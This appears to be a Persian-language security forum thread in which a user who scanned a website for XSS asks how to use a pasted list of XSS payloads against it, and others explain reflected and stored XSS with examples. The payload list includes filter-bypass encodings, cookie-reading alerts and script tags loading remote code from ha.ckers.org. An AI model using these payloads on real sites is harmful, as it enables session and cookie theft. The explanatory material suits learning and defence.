discord icon
سرور دیسکورد گاردایران

پست های پیشنهاد شده

سلام،

من یک وب سایتو برای آسیب پذیری اسکن کردم و برنامه گفت که آسیب پذیری از نوع XSS وجود داره:

XSS vulnerability in https://Example.com/ via injection in the parameter year 
Evil request:
    GET /?s=&year=%3C%2Ftitle%3E%3CScRiPt%3Ealert%28%2Fwexc9j1ufu%2F%29%3C%2FsCrIpT%3E&monthnum=&day=&cat=44&tag=%25d9%2588%25d8%25b1%25d8%25b2%25d8%25b4&tag=135 HTTP/1.1

وقتی آدرس بالا را در مرورگر می نویسم فقط یک پیام به صورت زیر با یک دکمه OK نشون داده میشه:

example.com says
/wexc9j1ufu/

تو اینترنت سرچ کردم دیدم این حمله از نوع XSS مثال زیادی مثل زیر داره:

<a onclick="alert(omurugur);">/
"><img src=x onerror=prompt(/omur/)> 
");</script><script>alert(1)</script>"
"><aUdIo SrC=x OnErRoR=alert(71465)>');"  
"><svg/onload;=alert(1)>
?templid=1%27%22%3E%3Cscript%3Ealert%28%27XSS%20@%20%27%2bdocument.domain%29%3C%2fscript%3E
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
<IMG SRC=" &#14;  javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
?attribute='</script><body onload&value=alert(document.cookie)
?value=A%27)%3b}%3balert(document.cookie)%3bif(0){var+html%3dwindow.opener.document.querySelector(%27[%3d"
?value=%22a%27);//%3C/script%3E%3Cbody%20onload=alert(document.cookie)%3E
\uFF1C%\uFE64input/autofocus onfocus\b='[1].find(alert)'
"><img src=x onerror=alert(document.domain)>

چه جوری میتونم از مثال های بالا برای هدف استفاده کنم؟

 

تشکر از شما.

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

سلام، خسته نباشید.

باگ XSS اینجوری هست که در یه قسمتی از سایت شما متنی رو وارد میکنید بعد این متن بدون اینکه فیلتر بشه (یا فیلترش قابل دور زدن باشه) در سایت نمایش داده میشود.

مثلا سایتی رو تصور کنید که در اون قسمتی وجود داره که کاربران بتونن نظرات خودشون رو درباره یک کالا بفرستند.

در قسمت نظرات یک بخشی وجود داره شما متنتون رو می نویسید و میزنید ارسال و متن دقیقا بدون اینکه هیچ تغییری در اون صورت بگیره در صفحه سایت نمایش داده میشه.

خب اگر هیچ فیلتری نباشه، میشه کد html نوشت.

و مهمترین چیزی که استفاده میشه تگ script هست که با داخل اون کدهای جاوااسکریپت می نویسیم.

پس به جای اینکه یه متن وارد کنیم، یه کد جاوااسکریپت می نویسیم.

در اکثر اوقات این کد فقط کاربر رو به یه صفحه دیگه (که توسط هکر ساخته شده) ریدایرکت میکنه و اونجا کوکی هاش دزدیده میشه.

 

در قسمت های مختلفی میتونین کد رو بنویسین مثلا در لینک صفحه یا قسمت نظرات یا هرجای دیگه که از کاربر یک ورودی گرفته بشه و مستقیما در سایت نمایش داده بشه.

 

در بیشتر سایت ها فیلترهایی رو میگذارند سر راه تا کد جاوااسکریپت اجرا نشه.

و اینکه چجوری اون فیلتر دور زده بشه بستگی به خلاقیت خودتون داره و البته اینکه روش های بسیار زیادی برای بایپس از قبل پیدا شده اند و در سایت هایی مثل OWASP موجود هستند.

این لیستی هم که شما گذاشتید نمونه هایی از اینجکت کردن کد جاوااسکریپت هست و تضمین نمیشه که روی همه سایت ها کار کنند.

 

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر
در 5 دقیقه قبل، KR0N0S گفته است :

سلام، خسته نباشید.

باگ XSS اینجوری هست که در یه قسمتی از سایت شما متنی رو وارد میکنید بعد این متن بدون اینکه فیلتر بشه (یا فیلترش قابل دور زدن باشه) در سایت نمایش داده میشود.

مثلا سایتی رو تصور کنید که در اون قسمتی وجود داره که کاربران بتونن نظرات خودشون رو درباره یک کالا بفرستند.

در قسمت نظرات یک بخشی وجود داره شما متنتون رو می نویسید و میزنید ارسال و متن دقیقا بدون اینکه هیچ تغییری در اون صورت بگیره در صفحه سایت نمایش داده میشه.

خب اگر هیچ فیلتری نباشه، میشه کد html نوشت.

و مهمترین چیزی که استفاده میشه تگ script هست که با داخل اون کدهای جاوااسکریپت می نویسیم.

پس به جای اینکه یه متن وارد کنیم، یه کد جاوااسکریپت می نویسیم.

در اکثر اوقات این کد فقط کاربر رو به یه صفحه دیگه (که توسط هکر ساخته شده) ریدایرکت میکنه و اونجا کوکی هاش دزدیده میشه.

 

در قسمت های مختلفی میتونین کد رو بنویسین مثلا در لینک صفحه یا قسمت نظرات یا هرجای دیگه که از کاربر یک ورودی گرفته بشه و مستقیما در سایت نمایش داده بشه.

 

در بیشتر سایت ها فیلترهایی رو میگذارند سر راه تا کد جاوااسکریپت اجرا نشه.

و اینکه چجوری اون فیلتر دور زده بشه بستگی به خلاقیت خودتون داره و البته اینکه روش های بسیار زیادی برای بایپس از قبل پیدا شده اند و در سایت هایی مثل OWASP موجود هستند.

این لیستی هم که شما گذاشتید نمونه هایی از اینجکت کردن کد جاوااسکریپت هست و تضمین نمیشه که روی همه سایت ها کار کنند.

 

ممنون از راهنمایی شما.

تو اون صفحه جایی برای کامنت وجود نداره!

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

درود

در 2 ساعت قبل، payam99 گفته است :

تشکر.

یعنی از طریق URL این امکان وجود نداره؟

چرا دوست عزیز 

میشه گفت هر جایی که ورودی کاربر چاپ بشه امکان وجود xss هست.

مثلا ما یک ادرس داریم به این صورت : 

site.com/login.php?error=password is wrong!

و مثلا خطای password is wrong رو توی پیج لاگین میده

حالا فرض کنید بجای اون یک کد javascript بزنیم:

site.com/login.php?error=<script>alert('guardiran')</script>

حالا اگر اجرا بشه میگیم xss داره.

 

و یا چند مثال دیگه بخوام بزنم زمانی که سایت یک نام کاربری رو از شما میگیره و همه جا اون اسم رو چاپ میکنه مثلا میگه خوش اومدی MR.MSA 

خب توی این حالت هم میتونید بجای یک نام درست از کد جاوا اسکریپتی استفاده کنید

و همیشه هم توی url و کامنت گذاری نیست مثلا میتونید از طریق کوکی بعضی وقت ها از این باگ استفاده کنید یا از طریق ارسال درخواست post و...

برای درک کد ها هم بهتره به js مسلط باشید.

نکته دیگه اینکه برای آشنایی با انواع حملات xss مثل XSS Stored میتونید از مقالات Owasp هم استفاده کنید.

برای آموزش این آسیب پذیری میتونید به این تاپیک مراجعه کنید:

 

موفق و پیروز باشید.

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

XSS مخفف Cross Site Scripting میباشد ؛ این نوع حملات جزو حملات Cross Zone Scripting یا اسکریپت نویسی فراتر از محدوده نیز شناخته میشوند و این نوع حملات در سمت – کاربر اجرایی میشود.

 

JavaScript و VBScript زبان های اصلی میباشند که در این نوع حمله استفاده میشوند و در واقع این نوع حمله به جلوی اجرای درست خروجی را میگیرد؛ در دنیای امروز این نوع آسیب پذیری به سختی یافت میشود به این علت که مرورگر ها جلوی این نوع حمله ها را میگیرند.

این نوع آسیب پذیری را به چند دسته تقسیم میکنند که میتوان به ۲ نوع از آن اشاره کرد:

Reflected XSS

این نوع از XSS زمانی رخ میدهد که علاوه بر عدم اعتبارسنجی اطلاعات پس از وارد شدن مستقیما به مرورگر بازگردند و بلافاصله قابل رویت باشند.

Stored XSS

بعضی از مواقع پس از اجرای یک Query و پروسه زمانی رخ میدهد که به آن Stored XSS میگویند.

معمولا آسیب پذیری XSS در مکان های زیر یافت میشود:

فرم جستجو

فرم های جستجو معمولا ورودی را مستقیما در واکنش نشان میدهند برای مثال:
عبارت (عبارتی که جستجو شده) پیدا نشد.

فرم تماس

فرم تماس جایی هست که بسیار میتوان آسیب پذیری XSS را پیدا کرد. معمولا اگر کاربر یک ورودی نامعتبر مانند یک ایمیل نامعتبر وارد کند خطا شناسایی میشود و تمام اطلاعات ورودی برگشت داده میشوند و این اتفاق زمینه مناسب برای فعالیت نفوذگر را فراهم میکند.

پیام های خطا

بسیاری از مشکلات XSS در پیام های خطا برگشته از برنامه هایی مثل Apache ، .NET ، Java،PHP ، Perl و .. پیدا شده است. معمولا این اتفاق زمانی که یک URL غلط یا نام فایل نامعتبر یا نامعتبر بودن نوع ورودی رخ میدهد.

لینک های HTML

اطلاعات ورودی که در واکنش برای تولید لینک های HTML پویا استفاده میشود.

تزریق در بلوک های جاوا اسکریپت

این سناریو زمانی رخ میدهد که ورودی برنامه ای بر پایه جاوا اسکریپت بر عهده کاربر باشد.
مثالی از تزریق در بلوک های جاوا اسکریپت :

محتویات فایل php :

1
2
3
4
5
6
7
8
<html>
<body>
<script>
var a = '<?php echo $_GET['data'] ?>';
document.write('<textarea>' + a + '</textarea>');
</script>
</body>
</html>

همانگونه که مشاهده میکنید در فایل روبه رو ما ورودی که از طریق متود GET گرفته میشود را در متغیری به نام a ذخیره میکنیم و سپس با استفاده از document.write مقدار این متغیر را در صفحه مینویسم.

حالا فرض کنید که ما بتوانیم کد های خودمان را از این طریق به صفحه اضافه کنیم . حال که ما به ورودی دسترسی داریم و هیچ محدودیتی نیست ، میتوانیم تگ مربوطه را ببندیم و اطلاعاتمان را تزریق کنیم . برای مثال در Source Code بالا ما به این شکل میتوانیم کد های خودمان را تزریق کنیم :

1
Ehsan;alert(XSS);var c=

در واقع alert یک مشخصه برای رخ دادن XSS هست و هیچ جنبه دیگری ندارد.
توجه داشته باشید که ما در این آسیب پذیری هیچ نیازی به اضافه کردن تگ script نداریم و کد های ما با موفقیت اجرا میشوند.
در واقع پس از وارد کردن ورودی عبارت درون Source Code به این شکل میشود:

1
2
3
4
5
6
7
8
9
10
<html>
<body>
<script>
var a = ' Ehsan';alert('XSS');var c=' ';
document.write('<textarea>' + a +
 
'</textarea>');
</script>
</body>
</html>

اهمیت این آسیب پذیری

همانگونه که متوجه شدید در این آسیب پذیری نفوذگر میتواند کد های جاوا اسکریپت ، HTML خود را تزریق کند. البته تزریق کد های VBScript نیز در صورت فعال بودن در مرورگر امکان پذیر هست اما بدلیل اینکه در مرورگر های نو VBScript دیگر پشتیبانی نمیشود و غیرفعال هست معمولا این آسیب پذیری رو با جاوا اسکریپت میشناسند.

جاوا اسکریپت زمانی سمت-کاربر هست و بنابر همین ویژگی این آسیب پذیری اهمیت زیادی دارد. در واقع نفوذگران از این آسیب پذیری برای ساده ترین کار ( دزدیدن کوکی ها ) تا حملات مهندسی اجتماعی استفاده میکنند.

کپی کردم بدم کپی کردم نصیحت نکنید :)

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

با سلام و عرض ادب

دوست عزیز @Mr.Night اینا نصیحت نیست! اخطاره

شما هم لطف کن انقدر ما رو به زحمت ننداز و تاپیک ها رو خراب نکن

کپی برداری نشون میده خودتون مطلب رو بلد نیستید 

میتونید اونو بخونید و با توجه به چیزی که خوندید راهنمایی کنید.

موفق باشید.

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

برای ارسال دیدگاه یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید دیدگاهی ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در سایت ما ثبت نام کنید. عضویت خیلی ساده است !

ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید

ورود به حساب کاربری